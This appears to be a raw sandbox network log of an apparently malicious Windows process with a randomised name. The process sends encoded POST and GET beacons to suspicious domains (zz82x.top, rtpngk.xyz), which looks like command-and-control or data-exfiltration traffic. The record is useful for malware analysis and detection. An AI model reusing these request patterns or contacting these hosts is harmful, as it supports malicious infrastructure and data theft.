76=CZoT3yTTNoBIgRoq5r1iftyvjzXfPDH/59pGsrXdY9hz37oBIYf/4DrBZQagTp5E7ajgVm4P3N/dtixePebHi/eG0JVvSQiDaLvAztfkml2p0G4m+QbD1U03Ul8/s1Nmnu3xbZRKPEq7y1lEEn4c2XIXpfxYUgugGJwf6XGDpOL0Gg+e5Tu/4/AUkytefjskGh7LDgVpWNiz/YcUw/fJzZLsJj8CCPOzQP/HnrY=
Sep 23, 2024 14:37:30.782752037 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:37:30 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49711	38.47.232.196	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:32.428009987 CEST	1764	OUT	POST /2lu6/ HTTP/1.1 Host: www.zz82x.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zz82x.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.zz82x.top/2lu6/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 43 5a 6f 54 33 79 54 54 4e 6f 42 49 67 52 6f 71 35 72 31 69 66 74 79 76 6a 7a 58 66 50 44 48 2f 35 39 70 47 73 72 58 64 59 39 70 7a 33 49 67 42 5a 4f 58 2f 35 44 72 42 43 51 61 6c 54 70 34 57 37 5a 54 6b 56 6d 45 66 33 50 48 64 74 46 78 65 49 72 76 48 33 50 65 47 72 35 55 6f 57 51 69 53 61 4c 2f 45 7a 70 37 6b 6d 6c 32 70 30 45 77 6d 33 6b 76 44 33 55 30 30 52 6c 38 6a 6d 56 4d 42 6e 71 53 4b 62 5a 56 61 50 56 4b 37 79 56 31 45 58 31 41 63 36 58 49 56 71 66 77 62 55 67 7a 69 47 4a 73 54 36 58 69 70 70 4f 7a 30 45 57 44 6c 76 58 75 43 6b 2b 6b 4e 6e 41 31 46 56 6c 39 54 50 6a 44 70 4d 67 35 38 61 73 36 51 36 62 6f 44 6b 50 50 46 72 49 76 46 52 68 45 47 47 37 37 46 46 2f 44 68 6c 50 6e 62 68 7a 4c 75 4b 7a 75 45 33 50 2b 71 73 66 7a 6c 78 30 75 4d 77 55 46 67 5a 45 61 5a 43 53 43 48 4b 50 72 44 41 51 66 57 44 4f 4c 4b 34 6c 66 78 38 4c 67 72 52 53 4b 48 2f 6f 38 4b 6d 68 30 6a 6d 74 34 4d 36 74 2b 34 57 54 73 72 6e 55 31 2b 4c 39 57 62 6f 31 72 4b 6e 57 34 6d 67 34 5a 36 6c 46 51 70 71 75 66 [TRUNCATED] Data Ascii: 76=CZoT3yTTNoBIgRoq5r1iftyvjzXfPDH/59pGsrXdY9pz3IgBZOX/5DrBCQalTp4W7ZTkVmEf3PHdtFxeIrvH3PeGr5UoWQiSaL/Ezp7kml2p0Ewm3kvD3U00Rl8jmVMBnqSKbZVaPVK7yV1EX1Ac6XIVqfwbUgziGJsT6XippOz0EWDlvXuCk+kNnA1FVl9TPjDpMg58as6Q6boDkPPFrIvFRhEGG77FF/DhlPnbhzLuKzuE3P+qsfzlx0uMwUFgZEaZCSCHKPrDAQfWDOLK4lfx8LgrRSKH/o8Kmh0jmt4M6t+4WTsrnU1+L9Wbo1rKnW4mg4Z6lFQpqufjhENPBmXn9i2U9tUwxhGyzbTzLns435al8Aa69yQWq/G9stT/kNIcBlu6kBAdXd+FnVyhPfeO6HFb2pU8dRK/s5sD5lUcyNhCh/gfCipKv5K1Luqw1hpC79OFFqlkO/iHMevbzul1u6msm40OpjY5+hzE4Cm/RZdG2gW2we7oIIHtgUMSH0P7O0PapB231paE6x+icQVn0CS7bJeYOi2XuTeGzsEOBQLtthNa5ASr1ZsKkya9SLKKo9MPSihcEKqc42W+lMauxiJF1scPsETXbGUP7S7N+4npXsr7qVrq28QQ+OKNpTNsG4LaNKQzFF5J5Qfu0Y9vKvNk4wWDflg/TJYSNOwaiu6arLzKEwFMdmOag4uUpP1ELsMEAsOt8fbRtSqZso+oid9BZKQUlndaOsiybcOCAHmXfo/aS/9KP71b3asL7H821bRsigwciA/2tYSOicWMU3NjLy9tcUO8KxRf8VO9sH//4QhayZpWd4+6Nf64idgP/lRclwiYVX7hDi6aeFQtSkcAKeDu8cWuYDC8/iNw3v9WVIyp6k7CmpRFEGy7gkf/3epAJd5HoYvX0yOhb4z+Q7PDtXrJwEYqKv4XLIy4nWhmOXnC1vrjHOG2RwwGjR2n5cIB3uxRbH+rMDLaK50UNvqlNBHhTKQ91TgfmcenITKTc [TRUNCATED]
Sep 23, 2024 14:37:33.546189070 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:37:33 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49712	38.47.232.196	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:34.967307091 CEST	474	OUT	GET /2lu6/?76=PbAz0EfTKowYn11d9L8KeIyoxyngBHbvlbcT88jVQuwl479Ud/v94CC+Ex+uZY8Wq5vHWUIm1erRj2VcHYbUz5WJs9RaUjKCQ9bJpumP+lrR5hAi4gPt8UgQTkM/uAhjmqXAbZ9LXA/l&mtJD_=fvdlJ2L HTTP/1.1 Host: www.zz82x.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:37:36.663703918 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:37:35 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 23, 2024 14:37:36.663927078 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:37:35 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 23, 2024 14:37:36.664376020 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:37:35 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49713	188.114.97.3	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:41.729139090 CEST	734	OUT	POST /yhsl/ HTTP/1.1 Host: www.rtpngk.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rtpngk.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.rtpngk.xyz/yhsl/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 30 47 47 6d 2f 65 4c 51 73 75 69 58 64 46 5a 4e 47 45 4c 5a 6c 67 54 68 68 57 4f 38 70 37 39 6a 30 6c 53 6e 6b 57 63 4b 77 63 71 57 6e 77 67 6c 59 2b 72 74 76 45 41 59 43 7a 41 66 65 41 55 68 6c 2b 32 44 67 58 46 4e 67 4f 4f 5a 6d 70 45 55 77 68 31 6f 48 45 31 4e 48 78 4b 79 6c 64 75 54 6b 46 6f 6a 53 6d 6e 35 56 54 38 4d 43 6a 6c 47 2b 45 62 49 58 4a 74 31 62 58 62 39 68 4d 75 4c 58 6c 51 66 6c 68 6b 47 5a 6f 46 4b 76 6f 41 66 56 46 4c 49 6c 46 54 51 48 42 67 64 6c 46 6d 2b 71 6a 34 61 7a 6b 46 41 76 39 6c 6c 35 4b 76 39 64 44 30 52 44 45 78 62 71 51 44 47 37 5a 30 42 56 56 2b 72 36 45 6a 49 61 73 57 37 7a 6e 44 46 4d 51 3d 3d Data Ascii: 76=0GGm/eLQsuiXdFZNGELZlgThhWO8p79j0lSnkWcKwcqWnwglY+rtvEAYCzAfeAUhl+2DgXFNgOOZmpEUwh1oHE1NHxKylduTkFojSmn5VT8MCjlG+EbIXJt1bXb9hMuLXlQflhkGZoFKvoAfVFLIlFTQHBgdlFm+qj4azkFAv9ll5Kv9dD0RDExbqQDG7Z0BVV+r6EjIasW7znDFMQ==
Sep 23, 2024 14:37:42.194437027 CEST	814	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 Sep 2024 12:37:42 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 23 Sep 2024 13:37:42 GMT Location: https://www.rtpngk.xyz/yhsl/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WbRBCIA4aL832PO5oYqpAo5pu8t%2B6LSgEqlnWP8QYrPTih5ox8MiuYNaRRtNoJ6AMm3X2jcoPx00ZAVy3f4Kv%2B%2Fai9MjnUNBClSfptdwtsAjK%2FU2RSqvwT25Ocr4mnvKmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8c7a966a4c48440d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49714	188.114.97.3	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:44.726186991 CEST	754	OUT	POST /yhsl/ HTTP/1.1 Host: www.rtpngk.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rtpngk.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.rtpngk.xyz/yhsl/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 30 47 47 6d 2f 65 4c 51 73 75 69 58 64 6d 42 4e 41 6c 4c 5a 6a 41 54 69 69 57 4f 38 69 62 38 71 30 6c 4f 6e 6b 58 59 61 33 70 36 57 70 31 45 6c 4b 76 72 74 36 45 41 59 4a 54 42 55 42 51 55 71 6c 2b 4b 78 67 57 35 4e 67 4f 4b 5a 6d 73 67 55 77 57 68 76 46 55 31 44 50 52 4b 77 36 4e 75 54 6b 46 6f 6a 53 69 32 55 56 54 6b 4d 46 53 56 47 35 56 62 48 64 70 74 30 61 58 62 39 32 63 75 48 58 6c 51 68 6c 67 49 67 5a 71 39 4b 76 73 49 66 56 55 4c 4c 38 31 54 53 44 42 68 4f 73 33 50 48 74 43 49 61 32 46 42 55 33 36 34 42 31 63 79 66 48 68 34 39 64 56 4a 67 75 53 6e 77 73 2f 70 30 58 55 36 7a 33 6d 58 70 46 62 7a 52 2b 31 69 42 61 6a 57 43 2b 63 64 50 46 79 4c 6e 7a 2b 4f 74 67 47 33 38 4b 57 49 3d Data Ascii: 76=0GGm/eLQsuiXdmBNAlLZjATiiWO8ib8q0lOnkXYa3p6Wp1ElKvrt6EAYJTBUBQUql+KxgW5NgOKZmsgUwWhvFU1DPRKw6NuTkFojSi2UVTkMFSVG5VbHdpt0aXb92cuHXlQhlgIgZq9KvsIfVULL81TSDBhOs3PHtCIa2FBU364B1cyfHh49dVJguSnws/p0XU6z3mXpFbzR+1iBajWC+cdPFyLnz+OtgG38KWI=
Sep 23, 2024 14:37:45.169430017 CEST	820	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 Sep 2024 12:37:45 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Mon, 23 Sep 2024 13:37:45 GMT Location: https://www.rtpngk.xyz/yhsl/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BS9hApzbD8MkVH1h6KOQjqYo4sKp1S8nuqUxcUR6O6yGh9yENwvEU4PqNNMe2h4%2Beobxlx%2B%2F675cTTK0%2Bofr0w%2FBjhABOy33l%2F%2FXWtUBxXBoJOmjx4mxY4jZuasTNQvI7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8c7a967cf87b423e-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49715	188.114.97.3	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:48.084470034 CEST	1767	OUT	POST /yhsl/ HTTP/1.1 Host: www.rtpngk.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rtpngk.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.rtpngk.xyz/yhsl/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 30 47 47 6d 2f 65 4c 51 73 75 69 58 64 6d 42 4e 41 6c 4c 5a 6a 41 54 69 69 57 4f 38 69 62 38 71 30 6c 4f 6e 6b 58 59 61 33 70 79 57 70 44 59 6c 59 63 7a 74 38 30 41 59 45 7a 41 54 42 51 55 33 6c 2b 69 31 67 57 30 79 67 4d 43 5a 6b 4b 38 55 32 6a 4e 76 50 55 31 44 44 78 4b 7a 6c 64 76 5a 6b 46 34 5a 53 6d 71 55 56 54 6b 4d 46 52 4e 47 76 55 62 48 53 4a 74 31 62 58 62 78 68 4d 75 72 58 6d 67 58 6c 67 38 57 5a 36 64 4b 73 4e 30 66 5a 47 54 4c 30 31 54 55 50 68 67 4a 73 33 54 6d 74 43 46 68 32 46 6c 2b 33 39 55 42 77 36 48 43 65 69 38 56 66 69 68 6e 75 53 48 47 75 70 68 75 50 69 47 4a 77 48 6e 49 4a 70 54 74 78 6d 75 2f 58 7a 66 55 6a 61 6c 5a 64 78 79 2b 37 70 54 34 79 47 54 62 5a 79 68 36 78 47 58 68 76 4f 59 63 30 58 6e 74 33 65 55 4a 4e 4a 7a 4a 32 77 66 6c 6b 30 72 57 37 68 35 41 54 38 4f 66 65 4c 38 42 39 73 35 69 4d 34 54 79 4b 2f 30 4e 7a 6e 70 67 51 53 37 66 47 57 6a 34 48 51 45 6f 48 42 51 2f 78 45 63 6c 4b 31 71 33 7a 6f 34 4d 45 30 68 6c 41 33 4f 4f 61 36 74 4e 53 32 64 38 7a 72 67 [TRUNCATED] Data Ascii: 76=0GGm/eLQsuiXdmBNAlLZjATiiWO8ib8q0lOnkXYa3pyWpDYlYczt80AYEzATBQU3l+i1gW0ygMCZkK8U2jNvPU1DDxKzldvZkF4ZSmqUVTkMFRNGvUbHSJt1bXbxhMurXmgXlg8WZ6dKsN0fZGTL01TUPhgJs3TmtCFh2Fl+39UBw6HCei8VfihnuSHGuphuPiGJwHnIJpTtxmu/XzfUjalZdxy+7pT4yGTbZyh6xGXhvOYc0Xnt3eUJNJzJ2wflk0rW7h5AT8OfeL8B9s5iM4TyK/0NznpgQS7fGWj4HQEoHBQ/xEclK1q3zo4ME0hlA3OOa6tNS2d8zrgyCYjusk8FeYEYP4WqX7b9dgtYVEEwcyt0UmZhalZQpcy4yAE8d1AHqMIrnB2YP7luziuyAYAQ/3unCRT4MS1qV3nqqj6HHCFAnZ8yU/c3PqLrCt0ZAGHEzX1alYUqsn9buES0c5vUl/os3r8W5P6GuM5xo2jocUECvfgoz5lOuqYfaAx7l9GSzN5xbzvpfrspdBpiJUSWPc1DPZx48Q4X7jbhNbfKTq9W18u4kysQgJ4RmgTjLPP7PQGOWndOR1cA0cUgEEdXa5g1Bl7wCt4L5W73T2sr2a07atPRROTvntJg1x5HgDFdyAxozxVuWpYKWiF0sFmaFs6+7IX6pcx5RSusmShcBxxXslgapSAhlnr5n0OguVu7/VkqA2Iom83tGanTYCf5hZ7OSGjMrOojjWfonfghMx4vS+qWm5o/4Nu1oOSTrkccAAAUQxsnS3ayq8XHudkXfT4JvuGnLqHfqyov0Pibo7QQpfxzitP36UQ1/KYug7remqDn0HUoKwbe5tHF